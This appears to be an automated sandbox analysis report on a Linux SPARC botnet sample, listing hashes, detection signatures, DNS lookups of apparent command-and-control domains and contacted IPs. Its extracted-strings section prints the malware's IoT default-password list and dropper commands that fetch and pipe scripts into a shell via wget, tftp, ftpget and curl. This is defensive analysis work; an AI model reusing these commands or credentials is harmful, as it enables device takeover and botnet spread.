Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name: la.bot.sparc.elf
Analysis ID: 1542965
MD5: 1e794e43a1d5d0883b0cf03638bbbe61
SHA1: 3983e6494955c562ebabe42dc040fd59926ac3c2
SHA256: 846d68fcf75147de6d53bcea515ad65eb700ddabcb3a2586e0fa68681799b117
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 52
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Sends malformed DNS queries
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.sparc.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sparc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo
Source: la.bot.sparc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: nineteen.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: f.codingdrunk. . [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: ru.coziest.lol. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 2joints.libre. [malformed]
Sample listens on a socket
Source: /tmp/la.bot.sparc.elf (PID: 6241) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 4.112.193.189
Source: unknown TCP traffic detected without corresponding DNS query: 117.131.76.15
Source: unknown TCP traffic detected without corresponding DNS query: 4.112.193.189
Source: unknown TCP traffic detected without corresponding DNS query: 177.22.40.61
Source: unknown TCP traffic detected without corresponding DNS query: 117.131.76.15
Source: unknown TCP traffic detected without corresponding DNS query: 177.22.40.61
Source: unknown TCP traffic detected without corresponding DNS query: 14.61.187.39
Source: unknown TCP traffic detected without corresponding DNS query: 123.135.168.49
Source: unknown TCP traffic detected without corresponding DNS query: 14.61.187.39
Source: unknown TCP traffic detected without corresponding DNS query: 123.135.168.49
Source: unknown TCP traffic detected without corresponding DNS query: 165.20.38.82
Source: unknown TCP traffic detected without corresponding DNS query: 105.24.139.1
Source: unknown TCP traffic detected without corresponding DNS query: 165.20.38.82
Source: unknown TCP traffic detected without corresponding DNS query: 97.34.149.164
Source: unknown TCP traffic detected without corresponding DNS query: 105.24.139.1
Source: unknown TCP traffic detected without corresponding DNS query: 5.167.155.136
Source: unknown TCP traffic detected without corresponding DNS query: 97.34.149.164
Source: unknown TCP traffic detected without corresponding DNS query: 193.135.49.105
Source: unknown TCP traffic detected without corresponding DNS query: 5.167.155.136
Source: unknown TCP traffic detected without corresponding DNS query: 126.160.232.53
Source: unknown TCP traffic detected without corresponding DNS query: 193.135.49.105
Source: unknown TCP traffic detected without corresponding DNS query: 118.116.171.0
Source: unknown TCP traffic detected without corresponding DNS query: 126.160.232.53
Source: unknown TCP traffic detected without corresponding DNS query: 156.227.124.29
Source: unknown TCP traffic detected without corresponding DNS query: 118.116.171.0
Source: unknown TCP traffic detected without corresponding DNS query: 117.83.112.138
Source: unknown TCP traffic detected without corresponding DNS query: 156.227.124.29
Source: unknown TCP traffic detected without corresponding DNS query: 193.191.163.141
Source: unknown TCP traffic detected without corresponding DNS query: 191.209.136.107
Source: unknown TCP traffic detected without corresponding DNS query: 218.177.234.79
Source: unknown TCP traffic detected without corresponding DNS query: 117.83.112.138
Source: unknown TCP traffic detected without corresponding DNS query: 48.193.163.130
Source: unknown TCP traffic detected without corresponding DNS query: 193.191.163.141
Source: unknown TCP traffic detected without corresponding DNS query: 191.209.136.107
Source: unknown TCP traffic detected without corresponding DNS query: 89.218.141.254
Source: unknown TCP traffic detected without corresponding DNS query: 218.177.234.79
Source: unknown TCP traffic detected without corresponding DNS query: 131.170.184.10
Source: unknown TCP traffic detected without corresponding DNS query: 48.193.163.130
Source: unknown TCP traffic detected without corresponding DNS query: 29.206.173.204
Source: unknown TCP traffic detected without corresponding DNS query: 33.124.179.23
Source: unknown TCP traffic detected without corresponding DNS query: 89.218.141.254
Source: unknown TCP traffic detected without corresponding DNS query: 13.129.177.54
Source: unknown TCP traffic detected without corresponding DNS query: 131.170.184.10
Source: unknown TCP traffic detected without corresponding DNS query: 186.51.196.233
Source: unknown TCP traffic detected without corresponding DNS query: 29.206.173.204
Source: unknown TCP traffic detected without corresponding DNS query: 33.124.179.23
Source: unknown TCP traffic detected without corresponding DNS query: 51.249.70.66
Source: unknown TCP traffic detected without corresponding DNS query: 13.129.177.54
Source: unknown TCP traffic detected without corresponding DNS query: 175.246.162.45
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn
Source: global traffic DNS traffic detected: DNS query: nineteen.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre
Source: global traffic DNS traffic detected: DNS query: nineteen.libre
Source: global traffic DNS traffic detected: DNS query: f.codingdrunk. . [malformed]
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: global traffic DNS traffic detected: DNS query: 75cents.libre
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: ru.coziest.lol. [malformed]
Source: global traffic DNS traffic detected: DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: ru.coziest.lol
Source: global traffic DNS traffic detected: DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: f.codingdrunk.
Source: la.bot.sparc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sparc.elf (PID: 6243) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal52.troj.linELF@0/0@155/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6243) File opened: /proc/83/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sparc.elf (PID: 6241) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 6241.1.00007ffec2e96000.00007ffec2eb7000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 6241.1.0000559d04de5000.0000559d04e6b000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6241.1.0000559d04de5000.0000559d04e6b000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6241.1.00007ffec2e96000.00007ffec2eb7000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
116.246.233.177
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
129.242.112.36
 unknown Norway
224 UNINETTUNINETTTheNorwegianUniversityResearchNetwork false
34.54.98.244
 unknown United States
2686 ATGS-MMD-ASUS false
159.250.142.253
 unknown United States
11776 ATLANTICBB-JOHNSTOWNUS false
9.84.90.213
 unknown United States
3356 LEVEL3US false
48.232.170.78
 unknown United States
2686 ATGS-MMD-ASUS false
43.85.41.36
 unknown Japan 4249 LILLY-ASUS false
193.28.163.20
 unknown Germany
41086 N-ERGIE-IT-NBG-ASDE false
103.239.60.23
 unknown Taiwan; Republic of China (ROC)
24157 VIBO-NET-ASTaiwanStarTelecomCorporationLimitedFormer false
86.25.253.187
 unknown United Kingdom
5089 NTLGB false
33.44.231.62
 unknown United States
2686 ATGS-MMD-ASUS false
27.98.188.29
 unknown Japan 10010 TOKAITOKAICommunicationsCorporationJP false
16.121.127.184
 unknown United States
unknown unknown false
152.51.157.162
 unknown United States
81 NCRENUS false
135.93.11.239
 unknown United States
10455 LUCENT-CIOUS false
80.97.224.196
 unknown Romania
9050 RTDBucharestRomaniaRO false
206.38.158.191
 unknown United States
721 DNIC-ASBLK-00721-00726US false
203.102.176.168
 unknown Australia
703 UUNETUS false
82.148.164.151
 unknown Norway
29300 AS-DIRECTCONNECTNO false
3.66.155.92
 unknown United States
16509 AMAZON-02US false
173.126.156.242
 unknown United States
10507 SPCSUS false
143.8.201.89
 unknown United States
11003 PANDGUS false
58.18.11.235
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
149.242.30.141
 unknown Germany
35391 HAUNI-ASDE false
115.240.160.186
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
223.155.254.10
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
34.136.63.175
 unknown United States
2686 ATGS-MMD-ASUS false
167.147.188.228
 unknown Canada
25899 LSNETUS false
158.193.226.157
 unknown Slovakia (SLOVAK Republic)
2607 SANETSlovakAcademicNetworkSK false
201.227.138.109
 unknown Panama
11556 CableWirelessPanamaPA false
91.147.73.3
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
94.35.200.85
 unknown Italy
8612 TISCALI-IT false
110.33.119.20
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
11.18.13.78
 unknown United States
3356 LEVEL3US false
211.55.129.195
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
203.215.22.91
 unknown Australia
4802 ASN-IINETiiNetLimitedAU false
30.156.127.44
 unknown United States
7922 COMCAST-7922US false
177.204.170.52
 unknown Brazil
18881 TELEFONICABRASILSABR false
83.90.202.117
 unknown Denmark
3292 TDCTDCASDK false
222.17.112.254
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
123.17.251.215
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
56.90.5.169
 unknown United States
2686 ATGS-MMD-ASUS false
197.92.49.5
 unknown South Africa
10474 OPTINETZA false
145.52.77.140
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
77.6.75.83
 unknown Germany
6805 TDDE-ASN1DE false
145.209.166.133
 unknown Netherlands
1101 IP-EEND-ASIP-EENDBVNL false
218.73.111.111
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
93.161.55.101
 unknown Denmark
3292 TDCTDCASDK false
98.182.248.103
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
36.182.120.87
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
154.134.2.244
 unknown Egypt
37069 MOBINILEG false
166.222.34.199
 unknown United States
6614 USCC-ASNUS false
122.30.133.95
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
73.82.23.14
 unknown United States
7922 COMCAST-7922US false
37.206.89.194
 unknown Italy
3269 ASN-IBSNAZIT false
137.138.90.215
 unknown Switzerland
513 CERNCH false
98.98.91.105
 unknown United States
7018 ATT-INTERNET4US false
67.253.128.157
 unknown United States
11351 TWC-11351-NORTHEASTUS false
192.92.243.186
 unknown United States
14345 AFS-8US false
160.51.66.79
 unknown Germany
2381 WISCNET1-ASUS false
180.32.169.54
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
61.44.91.230
 unknown Japan 10013 FBDCFreeBitCoLtdJP false
31.210.249.129
 unknown Sweden
35706 NAOSE false
19.189.57.189
 unknown United States
3 MIT-GATEWAYSUS false
158.121.83.225
 unknown United States
1968 UMASSP-DOMUS false
136.45.76.86
 unknown United States
16591 GOOGLE-FIBERUS false
206.0.212.40
 unknown United States
174 COGENT-174US false
110.28.181.63
 unknown Taiwan; Republic of China (ROC)
9674 FET-TWFarEastToneTelecommunicationCoLtdTW false
166.110.147.122
 unknown Chile
9321 HYUNET-ASHanyangUniversityKR false
